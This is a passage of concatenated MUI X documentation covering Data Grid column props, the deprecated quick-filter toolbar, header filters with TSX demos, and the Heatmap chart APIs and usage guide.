| groupingValueSetter | `GridGroupingValueSetter<R>` | - | No |  |
| headerAlign | `GridAlignment` | - | No |  |
| headerClassName | `GridColumnHeaderClassNamePropType` | - | No |  |
| headerName | `string` | - | No |  |
| hideable | `boolean` | `true` | No |  |
| hideSortIcons | `boolean` | `false` | No |  |
| maxWidth | `number` | `Infinity` | No |  |
| minWidth | `number` | `50` | No |  |
| pastedValueParser | `GridPastedValueParser<R, V, F>` | - | No |  |
| pinnable | `boolean` | `true` | No |  |
| pivotable | `boolean` | `true` | No |  |
| preProcessEditCellProps | `(params: GridPreProcessEditCellProps) => GridEditCellProps \| Promise<GridEditCellProps>` | - | No |  |
| renderCell | `(params: GridRenderCellParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderEditCell | `(params: GridRenderEditCellParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderHeader | `(params: GridColumnHeaderParams<R, V, F>) => React.ReactNode` | - | No |  |
| renderHeaderFilter | `(params: GridRenderHeaderFilterProps) => React.ReactNode` | - | No |  |
| resizable | `boolean` | `true` | No |  |
| rowSpanValueGetter | `GridValueGetter<R, V, F>` | - | No |  |
| sortable | `boolean` | `true` | No |  |
| sortComparator | `GridComparatorFn<V>` | - | No |  |
| sortingOrder | `readonly GridSortDirection[]` | - | No |  |
| valueFormatter | `GridValueFormatter<R, V, F>` | - | No |  |
| valueGetter | `GridValueGetter<R, V, F>` | - | No |  |
| valueOptions | `Array<ValueOptions> \| ((params: GridValueOptionsParams<R>) => Array<ValueOptions>)` | - | No |  |
| valueParser | `GridValueParser<R, V, F>` | - | No |  |
| valueSetter | `GridValueSetter<R, V, F>` | - | No |  |
| width | `number` | `100` | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/data-grid/grid-toolbar-quick-filter.md

# GridToolbarQuickFilter API

> ⚠️ **Warning**: This component is deprecated. Consider using an alternative component.

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- [DataGrid](/x/react-data-grid/#community-version-free-forever)
- [DataGridPro](/x/react-data-grid/#pro-version)
- [DataGridPremium](/x/react-data-grid/#premium-version)

## Import

```jsx
import { GridToolbarQuickFilter } from '@mui/x-data-grid/components';
// or
import { GridToolbarQuickFilter } from '@mui/x-data-grid';
// or
import { GridToolbarQuickFilter } from '@mui/x-data-grid-pro';
// or
import { GridToolbarQuickFilter } from '@mui/x-data-grid-premium';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| debounceMs | `number` | `150` | No |  |
| quickFilterFormatter | `function(values: Array<any>) => string` | `(values: string[]) => values.join(' ')` | No |  |
| quickFilterParser | `function(input: string) => Array<any>` | `(searchText: string) => searchText
  .split(' ')
  .filter((word) => word !== '')` | No |  |

> **Note**: The `ref` is forwarded to the root element (GridRoot).

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-data-grid/src/components/toolbar/GridToolbarQuickFilter.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-data-grid/src/components/toolbar/GridToolbarQuickFilter.tsx)

---

# Source: https://mui.com/x/react-data-grid/filtering/header-filters.md

---
title: Data Grid - Header filters
---

# Data Grid - Header filters [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Give users quick-access column filters in the Data Grid header.

By default, users access the Data Grid's filtering features through the filter panel in the toolbar.
The header filter feature adds a row to the top of the Data Grid Pro that lets users quickly filter columns directly in place.
Filters added through the filter panel are synchronized with header filters, and vice versa.

In the demo below, you can switch between different operators by clicking the operator button in the header filter cell or pressing <kbd><kbd class="key">⌘ Command</kbd>+<kbd class="key">Enter</kbd></kbd> (or <kbd><kbd class="key">Ctrl</kbd>+<kbd class="key">Enter</kbd></kbd> on Windows) when focusing on a header filter cell.

```tsx
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function HeaderFilteringDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          columns: {
            columnVisibilityModel: {
              avatar: false,
              id: false,
            },
          },
        }}
        headerFilters
      />
    </div>
  );
}

```

## Implementing header filters

To enable header filters, pass the `headerFilters` prop to the Data Grid Pro:

```tsx
<DataGridPro headerFilters>
```

### Disabling the default filter panel

You can disable the default filter panel using the `disableColumnFilter` prop, and show only the default operator by passing `slots.headerFilterMenu` as `null`.

```tsx
import { DataGridPro, gridClasses } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

export default function SimpleHeaderFilteringDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          columns: {
            columnVisibilityModel: {
              avatar: false,
              id: false,
            },
          },
        }}
        disableColumnFilter
        headerFilters
        slots={{
          headerFilterMenu: null,
        }}
        sx={{ [`.${gridClasses['columnHeader--filter']}`]: { px: 1 } }}
      />
    </div>
  );
}

```

### Inline clear button

By default, the **Clear filter** button is located in the header filter menu.
To display the button in the header filter cell instead, set `slotProps.headerFilterCell.showClearIcon` to `true`:

```tsx
import * as React from 'react';
import { DataGridPro } from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'website'];

export default function HeaderFilteringInlineClearDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
    visibleFields: VISIBLE_FIELDS,
  });

  const columns = React.useMemo(() => {
    return data.columns.map((col) => ({
      ...col,
      minWidth: 200,
    }));
  }, [data.columns]);

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        columns={columns}
        loading={loading}
        initialState={{
          ...data.initialState,
          filter: {
            filterModel: {
              items: [
                { id: 'name', field: 'name', operator: 'contains', value: 'a' },
                {
                  id: 'website',
                  field: 'website',
                  operator: 'contains',
                  value: 'http://',
                },
                { id: 'rating', field: 'rating', operator: '>', value: 2 },
              ],
            },
          },
        }}
        headerFilters
        slotProps={{
          headerFilterCell: {
            showClearIcon: true,
          },
        }}
      />
    </div>
  );
}

```

## Customizing header filters

You can override header filter cells individually or across the entire row.

### One header filter cell in a specific column

Use the `renderHeaderFilter()` method of the `GridColDef` to customize the header filter cell for a specific column.

```tsx
const columns: GridColDef[] = [
  {
    field: 'isAdmin',
    renderHeaderFilter: (params: GridHeaderFilterCellProps) => (
      <MyCustomHeaderFilter {...params} />
    ),
  },
];
```

The demo below uses the `renderHeaderFilter()` method to hide the header filter cell for the **Phone** column and customize it for the **Is admin?** column:

```tsx
import * as React from 'react';
import FormControl from '@mui/material/FormControl';
import InputLabel from '@mui/material/InputLabel';
import Select, { SelectChangeEvent } from '@mui/material/Select';
import MenuItem from '@mui/material/MenuItem';
import {
  DataGridPro,
  GridRenderHeaderFilterProps,
  gridFilterModelSelector,
  useGridSelector,
  useGridApiContext,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const getDefaultFilter = (field: string) => ({ field, operator: 'is' });

function AdminFilter(props: GridRenderHeaderFilterProps) {
  const { colDef } = props;
  const apiRef = useGridApiContext();
  const filterModel = useGridSelector(apiRef, gridFilterModelSelector);
  const currentFieldFilters = React.useMemo(
    () => filterModel.items?.filter(({ field }) => field === colDef.field),
    [colDef.field, filterModel.items],
  );

  const handleChange = React.useCallback(
    (event: SelectChangeEvent) => {
      if (!event.target.value) {
        if (currentFieldFilters[0]) {
          apiRef.current.deleteFilterItem(currentFieldFilters[0]);
        }
        return;
      }
      apiRef.current.upsertFilterItem({
        ...(currentFieldFilters[0] || getDefaultFilter(colDef.field)),
        value: event.target.value,
      });
    },
    [apiRef, colDef.field, currentFieldFilters],
  );

  const value = currentFieldFilters[0]?.value ?? '';
  const label = !value ? 'Filter' : 'Is admin';

  return (
    <FormControl variant="outlined" size="small" fullWidth>
      <InputLabel id="select-is-admin-label" shrink>
        {label}
      </InputLabel>
      <Select
        labelId="select-is-admin-label"
        id="select-is-admin"
        value={value}
        onChange={handleChange}
        label={label}
        inputProps={{ sx: { fontSize: 14 } }}
        notched
      >
        <MenuItem value="">
          <em>None</em>
        </MenuItem>
        <MenuItem value="true">True</MenuItem>
        <MenuItem value="false">False</MenuItem>
      </Select>
    </FormControl>
  );
}

export default function CustomHeaderFilterSingleDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
    visibleFields: ['name', 'website', 'phone', 'isAdmin', 'salary'],
  });

  const columns = React.useMemo(
    () =>
      data.columns.map((colDef) => {
        if (colDef.field === 'isAdmin') {
          return {
            ...colDef,
            width: 200,
            renderHeaderFilter: (params: GridRenderHeaderFilterProps) => (
              <AdminFilter {...params} />
            ),
          };
        }
        if (colDef.field === 'phone') {
          // no header filter for `phone` field
          return { ...colDef, renderHeaderFilter: () => null };
        }
        return colDef;
      }),
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        columns={columns}
        disableColumnFilter
        headerFilters
      />
    </div>
  );
}

```

### All header filter cells in every column

Use `slots.headerFilterCell` to override all header filter cells in the row with a custom component:

```tsx
<DataGridPro {...data} slots={{ headerFilterCell: MyCustomHeaderFilterCell }} />
```

The default slot component handles keyboard navigation and focus management, so your custom component should also account for these accessibility features.
The demo below shows how to do this.

```tsx
import * as React from 'react';
import Button from '@mui/material/Button';
import Stack from '@mui/material/Stack';
import {
  DataGridPro,
  useGridSelector,
  gridFilterModelSelector,
  useGridApiContext,
  GridHeaderFilterCellProps,
  GridHeaderFilterEventLookup,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

function CustomHeaderFilter(props: GridHeaderFilterCellProps) {
  const { colDef, width, height, hasFocus, colIndex, tabIndex } = props;
  const apiRef = useGridApiContext();
  const cellRef = React.useRef<HTMLDivElement>(null);

  React.useLayoutEffect(() => {
    if (hasFocus && cellRef.current) {
      const focusableElement =
        cellRef.current!.querySelector<HTMLElement>('[tabindex="0"]');
      const elementToFocus = focusableElement || cellRef.current;
      elementToFocus?.focus({
        preventScroll: true,
      });
    }
  }, [apiRef, hasFocus]);

  const publish = React.useCallback(
    (
      eventName: keyof GridHeaderFilterEventLookup,
      propHandler?: React.EventHandler<any>,
    ) =>
      (event: React.SyntheticEvent) => {
        apiRef.current.publishEvent(
          eventName,
          apiRef.current.getColumnHeaderParams(colDef.field),
          event as any,
        );

        if (propHandler) {
          propHandler(event);
        }
      },
    [apiRef, colDef.field],
  );

  const onMouseDown = React.useCallback(
    (event: React.MouseEvent) => {
      if (!hasFocus) {
        cellRef.current?.focus();
        apiRef.current.setColumnHeaderFilterFocus(colDef.field, event);
      }
    },
    [apiRef, colDef.field, hasFocus],
  );

  const mouseEventsHandlers = React.useMemo(
    () => ({
      onKeyDown: publish('headerFilterKeyDown'),
      onClick: publish('headerFilterClick'),
      onMouseDown: publish('headerFilterMouseDown', onMouseDown),
    }),
    [publish, onMouseDown],
  );

  const filterModel = useGridSelector(apiRef, gridFilterModelSelector);
  const activeFiltersCount =
    filterModel.items?.filter(({ field }) => field === colDef.field).length ?? 0;

  return (
    <Stack
      sx={[
        {
          borderBottom: `1px solid var(--DataGrid-rowBorderColor)`,
        },
        hasFocus
          ? {
              outline: 'solid #1976d2 1px',
              outlineOffset: -2,
            }
          : {
              outline: '',
              outlineOffset: 0,
            },
      ]}
      tabIndex={tabIndex}
      ref={cellRef}
      data-field={colDef.field}
      width={width}
      height={height}
      justifyContent="center"
      alignItems="center"
      role="columnheader"
      aria-colindex={colIndex + 1}
      aria-label={colDef.headerName ?? colDef.field}
      {...mouseEventsHandlers}
    >
      <Button
        centerRipple={false}
        onClick={() => apiRef.current.showFilterPanel(colDef.field)}
      >
        {activeFiltersCount > 0 ? `${activeFiltersCount} active` : 'Add'} filters
      </Button>
    </Stack>
  );
}

export default function CustomHeaderFilterDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
  });

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro
        {...data}
        loading={loading}
        initialState={{
          ...data.initialState,
          columns: {
            columnVisibilityModel: {
              avatar: false,
              id: false,
            },
          },
        }}
        slots={{
          headerFilterCell: CustomHeaderFilter,
        }}
        headerFilters
      />
    </div>
  );
}

```

:::success
Similarly, you can use `slots.headerFilterMenu` if you need to customize the header filter menu.
:::

### Header filter cells with custom filter operators

If you're using a [custom input component](/x/react-data-grid/filtering/customization/#custom-input-component) for the filter operator, you can use that same component in the header filter cell for a better user experience.
The custom input component receives the `headerFilterMenu` and `clearButton` props that you can use to render the filter operator menu and **Clear filter** button, respectively.

In the demo below, the **Rating** column uses a custom input, and you can filter by clicking on a star rating in the header filter cell:

```tsx
import * as React from 'react';
import Box from '@mui/material/Box';
import Rating, { RatingProps } from '@mui/material/Rating';
import {
  DataGridPro,
  getGridNumericOperators,
  GridFilterInputValueProps,
} from '@mui/x-data-grid-pro';
import { useDemoData } from '@mui/x-data-grid-generator';

const VISIBLE_FIELDS = ['name', 'rating', 'country', 'dateCreated', 'isAdmin'];

function RatingInputValue(
  props: GridFilterInputValueProps & {
    headerFilterMenu: React.ReactNode;
    clearButton: React.ReactNode;
  },
) {
  const { item, applyValue, focusElementRef, headerFilterMenu, clearButton } = props;

  const ratingRef: React.Ref<any> = React.useRef(null);
  React.useImperativeHandle(focusElementRef, () => ({
    focus: () => {
      ratingRef.current
        .querySelector(`input[value="${Number(item.value) || ''}"]`)
        .focus();
    },
  }));

  const handleFilterChange: RatingProps['onChange'] = (event, newValue) => {
    applyValue({ ...item, value: newValue });
  };

  return (
    <Box
      sx={{
        display: 'flex',
        justifyContent: 'flex-end',
        alignItems: 'center',
        width: '100%',
      }}
    >
      <Rating
        name="custom-rating-filter-operator"
        value={Number(item.value)}
        onChange={handleFilterChange}
        precision={0.5}
        ref={ratingRef}
        sx={{ mr: 0.5 }}
      />
      {headerFilterMenu}
      {clearButton}
    </Box>
  );
}

export default function CustomHeaderFilterOperatorDataGridPro() {
  const { data, loading } = useDemoData({
    dataSet: 'Employee',
    rowLength: 100,
    visibleFields: VISIBLE_FIELDS,
  });

  const columns = React.useMemo(
    () =>
      data.columns.map((colDef) => {
        if (colDef.field === 'rating') {
          return {
            ...colDef,
            minWidth: 200,
            filterOperators: getGridNumericOperators()
              .filter((operator) => operator.value !== 'isAnyOf')
              .map((operator) => ({
                ...operator,
                InputComponent: operator.InputComponent
                  ? RatingInputValue
                  : undefined,
              })),
          };
        }
        return colDef;
      }),
    [data.columns],
  );

  return (
    <div style={{ height: 400, width: '100%' }}>
      <DataGridPro {...data} loading={loading} columns={columns} headerFilters />
    </div>
  );
}

```

### Header filter row height

By default, the height of the header filter row is the same as the header row (represented by `columnHeaderHeight` prop).
You can use the `headerFilterHeight` prop to change this:

```tsx
<DataGridPro {...data} headerFilterHeight={52} />
```

## Ignore diacritics (accents)

When filtering, diacritics—accented letters such as _é_ or _à_—are considered distinct from their standard counterparts (_e_ and _a_).
This can lead to a poor experience when users expect them to be treated as equivalent.

If your dataset includes diacritics that need to be ignored, you can pass the `ignoreDiacritics` prop to the Data Grid:

```tsx
<DataGrid ignoreDiacritics />
```

:::info
The `ignoreDiacritics` prop affects all columns and filter types, including [standard filters](/x/react-data-grid/filtering/), [quick filters](/x/react-data-grid/filtering/quick-filter/), and [header filters](/x/react-data-grid/filtering/header-filters/).
:::

## API

- [DataGrid](/x/api/data-grid/data-grid/)
- [DataGridPro](/x/api/data-grid/data-grid-pro/)
- [DataGridPremium](/x/api/data-grid/data-grid-premium/)

---

# Source: https://mui.com/x/api/charts/heatmap-plot.md

# HeatmapPlot API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Heatmap

## Import

```jsx
import { HeatmapPlot } from '@mui/x-charts-pro/Heatmap';
// or
import { HeatmapPlot } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/Heatmap/HeatmapPlot.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/Heatmap/HeatmapPlot.tsx)

---

# Source: https://mui.com/x/api/charts/heatmap-series.md

# HeatmapSeries API

## Import

```jsx
import { HeatmapSeries } from '@mui/x-charts-premium'
// or
import { HeatmapSeries } from '@mui/x-charts-pro'
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| type | `'heatmap'` | - | Yes |  |
| data | `readonly HeatmapValueType[]` | - | No |  |
| dataKey | `string` | - | No |  |
| highlightScope | `HighlightScope` | - | No |  |
| id | `SeriesId` | - | No |  |
| label | `string \| ((location: 'tooltip' \| 'legend') => string)` | - | No |  |
| labelMarkType | `ChartsLabelMarkType` | - | No |  |
| valueFormatter | `SeriesValueFormatter<TValue>` | - | No |  |
| xAxisId | `AxisId` | - | No |  |
| yAxisId | `AxisId` | - | No |  |

> **Note**: The `ref` is forwarded to the root element.

---

# Source: https://mui.com/x/api/charts/heatmap-tooltip-content.md

# HeatmapTooltipContent API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Heatmap

## Import

```jsx
import { HeatmapTooltipContent } from '@mui/x-charts-pro/Heatmap';
// or
import { HeatmapTooltipContent } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| classes | `object` | - | No | Override or extend the styles applied to the component. |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/Heatmap/HeatmapTooltip/HeatmapTooltipContent.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/Heatmap/HeatmapTooltip/HeatmapTooltipContent.tsx)

---

# Source: https://mui.com/x/api/charts/heatmap-tooltip.md

# HeatmapTooltip API

## Demos

For examples and details on the usage of this React component, visit the component demo pages:

- Charts - Heatmap

## Import

```jsx
import { HeatmapTooltip } from '@mui/x-charts-pro/Heatmap';
// or
import { HeatmapTooltip } from '@mui/x-charts-pro';
```

## Props

| Name | Type | Default | Required | Description |
|------|------|---------|----------|-------------|
| anchor | `'node' \| 'pointer'` | `'pointer'` | No |  |
| anchorEl | `HTML element \| object \| func` | - | No |  |
| classes | `object` | - | No | Override or extend the styles applied to the component. |
| component | `elementType` | - | No |  |
| components (deprecated) | `{ Root?: elementType }` | `{}` | No | ⚠️ use the `slots` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| componentsProps (deprecated) | `{ root?: func \| object }` | `{}` | No | ⚠️ use the `slotProps` prop instead. This prop will be removed in a future major release. [How to migrate](/material-ui/migration/migrating-from-deprecated-apis/). |
| container | `(props, propName) => { if (props[propName] == null) { return new Error(`Prop '${propName}' is required but wasn't specified`); } if (typeof props[propName] !== 'object' \|  \| props[propName].nodeType !== 1) { return new Error(`Expected prop '${propName}' to be of type Element`); } return null; } \| func` | - | No |  |
| disablePortal | `bool` | `false` | No |  |
| keepMounted | `bool` | `false` | No |  |
| modifiers | `Array<{ data?: object, effect?: func, enabled?: bool, fn?: func, name?: any, options?: object, phase?: 'afterMain' \| 'afterRead' \| 'afterWrite' \| 'beforeMain' \| 'beforeRead' \| 'beforeWrite' \| 'main' \| 'read' \| 'write', requires?: Array<string>, requiresIfExists?: Array<string> }>` | - | No |  |
| open | `bool` | - | No |  |
| placement | `'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top'` | `'bottom'` | No |  |
| popperOptions | `{ modifiers?: array, onFirstUpdate?: func, placement?: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', strategy?: 'absolute' \| 'fixed' }` | `{}` | No |  |
| popperRef | `func \| { current?: { destroy: func, forceUpdate: func, setOptions: func, state: { attributes: object, elements: object, modifiersData: object, options: object, orderedModifiers: Array<object>, placement: 'auto-end' \| 'auto-start' \| 'auto' \| 'bottom-end' \| 'bottom-start' \| 'bottom' \| 'left-end' \| 'left-start' \| 'left' \| 'right-end' \| 'right-start' \| 'right' \| 'top-end' \| 'top-start' \| 'top', rects: object, reset: bool, scrollParents: object, strategy: 'absolute' \| 'fixed', styles: object }, update: func } }` | - | No |  |
| position | `'bottom' \| 'left' \| 'right' \| 'top'` | - | No |  |
| slotProps | `object` | `{}` | No |  |
| slots | `object` | `{}` | No |  |
| sx | `Array<func \| object \| bool> \| func \| object` | - | No | The system prop that allows defining system overrides as well as additional CSS styles. |
| transition | `bool` | `false` | No |  |
| trigger | `'item' \| 'none'` | `'item'` | No |  |

> **Note**: The `ref` is forwarded to the root element.

## Source code

If you did not find the information on this page, consider having a look at the implementation of the component for more detail.

- [/packages/x-charts-pro/src/Heatmap/HeatmapTooltip/HeatmapTooltip.tsx](https://github.com/mui/material-ui/tree/HEAD/packages/x-charts-pro/src/Heatmap/HeatmapTooltip/HeatmapTooltip.tsx)

---

# Source: https://mui.com/x/api/charts/heatmap.md

# Source: https://mui.com/x/react-charts/heatmap.md

---
title: React Heatmap chart
productId: x-charts
components: Heatmap, HeatmapPlot, HeatmapTooltip, HeatmapTooltipContent, FocusedHeatmapCell
---

# Charts - Heatmap [<span class="plan-pro"></span>](/x/introduction/licensing/#pro-plan 'Pro plan')

Heatmap charts visually represents data with color variations to highlight patterns and trends across two dimensions.

## Overview

Heatmaps are ideal for visualizing intensity variations across two categorical or continuous dimensions. They highlight areas of high and low concentration in a dataset, making it easy to detect trends, clusters, or anomalies at a glance. Each cell in a heatmap represents the intersection of two variables, with color encoding used to convey the magnitude of a numerical value.
```tsx
import { interpolateBlues } from 'd3-scale-chromatic';
import Stack from '@mui/material/Stack';
import Typography from '@mui/material/Typography';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import { HeatmapValueType } from '@mui/x-charts-pro/models';
import bikeData from '../dataset/ParisBicycle.json';

const days = [
  new Date(2025, 1, 24),
  new Date(2025, 1, 25),
  new Date(2025, 1, 26),
  new Date(2025, 1, 27),
  new Date(2025, 1, 28),
  new Date(2025, 2, 1),
  new Date(2025, 2, 2),
];

const hours = [
  '00',
  '01',
  '02',
  '03',
  '04',
  '05',
  '06',
  '07',
  '08',
  '09',
  '10',
  '11',
  '12',
  '13',
  '14',
  '15',
  '16',
  '17',
  '18',
  '19',
  '20',
  '21',
  '22',
  '23',
];

const shortDayFormatter = new Intl.DateTimeFormat('en-US', { weekday: 'short' })
  .format;
const dateFormatter = new Intl.DateTimeFormat('en-US', {
  weekday: 'short',
  day: 'numeric',
  month: 'short',
  year: 'numeric',
}).format;

export default function HeatmapDemo() {
  return (
    <Stack width="100%">
      <Typography align="center" sx={{ width: '100%', mb: 1 }}>
        Bicycle count: Paris - Rivoli street (West-East)
      </Typography>
      <div style={{ flexGrow: 1, minHeight: 0 }}>
        <Heatmap
          height={400}
          margin={{ left: 2 }}
          xAxis={[
            {
              data: days,
              label: 'Day',
              valueFormatter: (value: Date, context) => {
                return context.location === 'tick'
                  ? shortDayFormatter(value)
                  : dateFormatter(value);
              },
              tickLabelStyle: { angle: 45 },
              height: 70,
            },
          ]}
          yAxis={[
            {
              data: hours,
              label: 'Hour of the day',
              tickLabelInterval: (_, index) => index % 2 === 0,
              valueFormatter: (value) => `${value}h`,
              width: 60,
            },
          ]}
          series={[
            {
              data: bikeData as unknown as HeatmapValueType[],
              label: 'Bicycle count',
              highlightScope: { highlight: 'item', fade: 'global' },
            },
          ]}
          zAxis={[
            {
              colorMap: {
                max: 700,
                type: 'continuous',

                color: (t: number) => interpolateBlues(Math.sqrt(t)),
              },
            },
          ]}
          hideLegend={false}
          slotProps={{
            legend: {
              direction: 'vertical',
              position: { vertical: 'top' },
              sx: { height: 200 },
            },
          }}
        />
      </div>
      <Typography variant="caption" textAlign="end">
        Data from{' '}
        <a href="https://parisdata.opendatasoft.com/explore/dataset/comptage-velo-donnees-compteurs/">
          Paris Data
        </a>
      </Typography>
    </Stack>
  );
}

```

## Basics

Heatmap charts series must contain a `data` property containing an array of 3-tuples.
The first two numbers in each tuple correspond to the x and y indexes of the cell, respectively.
The third number is the value for the given cell.

```jsx
<Heatmap
  series={[
    {
      data: [
        [0, 2, 2.7], // Cell (0, 2) receives the value 2.7
        [1, 2, 4.5], // Cell (1, 2) receives the value 4.5
      ],
    },
  ]}
/>
```

You can specify x and y ticks with the `xAxis` and `yAxis` props.

```tsx
import Box from '@mui/material/Box';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import { data } from './dumbData';

export default function BasicHeatmap() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <Heatmap
        xAxis={[{ data: [1, 2, 3, 4] }]}
        yAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
        series={[{ data }]}
        height={300}
      />
    </Box>
  );
}

```

## Color mapping

To customize the color mapping, use the `zAxis` configuration.
You can either use the piecewise or continuous [color mapping](https://mui.com/x/react-charts/styling/#values-color).

```tsx
import { interpolateBlues } from 'd3-scale-chromatic';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import { HeatmapValueType } from '@mui/x-charts-pro/models';

const dataset = [
  {
    london: 59,
    paris: 57,
    newYork: 86,
    seoul: 21,
    month: 'January',
  },
  {
    london: 50,
    paris: 52,
    newYork: 78,
    seoul: 28,
    month: 'February',
  },
  {
    london: 47,
    paris: 53,
    newYork: 106,
    seoul: 41,
    month: 'March',
  },
  {
    london: 54,
    paris: 56,
    newYork: 92,
    seoul: 73,
    month: 'April',
  },
  {
    london: 57,
    paris: 69,
    newYork: 92,
    seoul: 99,
    month: 'May',
  },
  {
    london: 60,
    paris: 63,
    newYork: 103,
    seoul: 144,
    month: 'June',
  },
  {
    london: 59,
    paris: 60,
    newYork: 105,
    seoul: 319,
    month: 'July',
  },
  {
    london: 65,
    paris: 60,
    newYork: 106,
    seoul: 249,
    month: 'August',
  },
  {
    london: 51,
    paris: 51,
    newYork: 95,
    seoul: 131,
    month: 'September',
  },
  {
    london: 60,
    paris: 65,
    newYork: 97,
    seoul: 55,
    month: 'October',
  },
  {
    london: 67,
    paris: 64,
    newYork: 76,
    seoul: 48,
    month: 'November',
  },
  {
    london: 61,
    paris: 70,
    newYork: 103,
    seoul: 25,
    month: 'December',
  },
];

const data = dataset.flatMap(
  ({ london, paris, newYork, seoul }, monthIndex): HeatmapValueType[] => [
    [0, monthIndex, london],
    [1, monthIndex, paris],
    [2, monthIndex, newYork],
    [3, monthIndex, seoul],
  ],
);

const xData = ['London', 'Paris', 'NewYork', 'Seoul'];
const yData = dataset.flatMap(({ month }) => month);

export default function ColorConfig() {
  return (
    <Heatmap
      height={400}
      width={600}
      xAxis={[{ data: xData }]}
      yAxis={[{ data: yData, width: 80 }]}
      series={[{ data }]}
      zAxis={[
        {
          min: 20,
          max: 300,
          colorMap: {
            type: 'continuous',
            color: interpolateBlues,
          },
        },
      ]}
    />
  );
}

```

## Highlight

You can choose to highlight the hovered element by setting `highlightScope.highlight` to `'item'`.
To fade the other item, set `highlightScope.fade` to `'global'`.

```tsx
import Box from '@mui/material/Box';
import { Heatmap } from '@mui/x-charts-pro/Heatmap';
import { data } from './dumbData';

export default function HighlightHeatmap() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <Heatmap
        xAxis={[{ data: [1, 2, 3, 4] }]}
        yAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
        series={[{ data, highlightScope: { highlight: 'item', fade: 'global' } }]}
        height={300}
      />
    </Box>
  );
}

```

By default highlighted/faded effect is obtained by applying the CSS property `filter: saturate(...)` to cells.
To modify this styling, use the `heatmapClasses.highlighted` and `heatmapClasses.faded` CSS classes to override the applied style.

In the following demo, we replace the highlight saturation by a border radius and reduce the saturation of the faded cells.

```tsx
import Box from '@mui/material/Box';
import { Heatmap, heatmapClasses } from '@mui/x-charts-pro/Heatmap';
import { data } from './dumbData';

export default function HighlightClasses() {
  return (
    <Box sx={{ width: '100%', maxWidth: 400 }}>
      <Heatmap
        sx={{
          [`.${heatmapClasses.cell}`]: {
            [`&.${heatmapClasses.highlighted}`]: {
              filter: 'none', // Remove the default filter effect.
              rx: '10px', // Round the corners
            },
            [`&.${heatmapClasses.faded}`]: {
              filter: 'saturated(95%)', // Reduce the faded default saturation
            },
          },
        }}
        xAxis={[{ data: [1, 2, 3, 4] }]}
        yAxis={[{ data: ['A', 'B', 'C', 'D', 'E'] }]}
        series={[
          {
            data,
            highlightScope: {
              highlight: 'item',
              fade: 'global',
            },
          },
        ]}
        height={300}
      />
    </Box>
  );
}

```

## Click event

Use `onItemClick` to know which cell is clicked by user.

The first argument is the click event.
The second one is the item identifier.
It contains the properties `xIndex` and `yIndex` that are the indexes of the clicked cell along the x- and y-axes respectively.

If this cell has associated data, the `dataIndex` property indicates the position of the cell's data within the series' `data` array.

```tsx
import * as React from 'react';
import { HighlightedCode } from '@mui/docs/HighlightedCode';
import Stack from '@mui/material/Stack';
import Box from '@mui/material/Box';
